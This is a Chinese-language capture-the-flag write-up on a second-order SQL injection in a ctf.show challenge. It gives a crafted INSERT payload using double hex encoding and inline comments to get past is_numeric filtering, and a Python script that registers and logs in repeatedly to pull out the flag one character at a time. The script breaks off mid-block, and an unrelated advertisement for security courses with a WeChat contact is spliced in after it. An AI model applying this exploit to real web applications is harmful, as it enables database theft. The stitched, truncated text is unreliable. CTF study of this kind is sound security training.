如何构造注入。我们需要用到两处地方,即两次对数据库操作的地方,一处用于插入payload,在register.php
,一处用于执行payload,在login.php
,而且只有login.php
有强过滤,在register
出可以使用union select
,还需要注意一点,在user.php
中使用了is_numberic()
函数对回显username
进行了过滤,只能显示数字,但是没关系,这里通过hex编码绕过,可以查一下,该函数对16进制的字符串当作数字处理。
代码审懂了,但是脚本编写能力确实还欠佳,参考了一下别的师傅的代码,做了一点修改,直接可以跑出答案
代码解读:
为什么不直接选出答案,而是通过循环加substr
,因为回显username有字数限制,也可以稍微改大一点,可以加快flag的产生
构造出来的SQL:在username处找flag,至于爆表爆字段改一改就行了,这里很巧妙,通过两段插入点,使用内联注释/*,username='*/
,还有一个注意点,原来的insert的语句使用了换行符,所以p是会被赋值,而不会被#注释掉
insert into test1 set email = ‘1’, username = hex(hex(substr((select/**/flag/**/from/**/flag)from/**/1/**/for/**/1))),/*,
username=‘*/#’,
password = ‘1’
import requests
import re
url1 = “http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/register.php”
url2 = “http://7580c911-e3e6-47eb-8ca8-83252f9038aa.challenge.ctf.show/login.php”
flag = ‘’
for i in range(1, 50):
payload = “hex(hex(substr((select/**/flag/**/from/**/flag)from/**/” + str(i) + “/**/for/**/1))),/*”
s = requests.session()
data1 = {
‘e’: str(i) + “',username=” + payload,
‘u’: “*/#”,
‘p’: i
}
r1 = s.post(url1, data=data1)
data2 = {
‘e’: i,
‘p’: i
}
r2 = s.post(url2, data=data2)
t = r2.text
try:
real = re.findall(“Hello (.*?),”, t)[0]
flag += real
except IndexError:
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
X:vip204888 (备注网络安全获取)**
[外链图片转存中…(img-v33wYdhf-1712651567314)]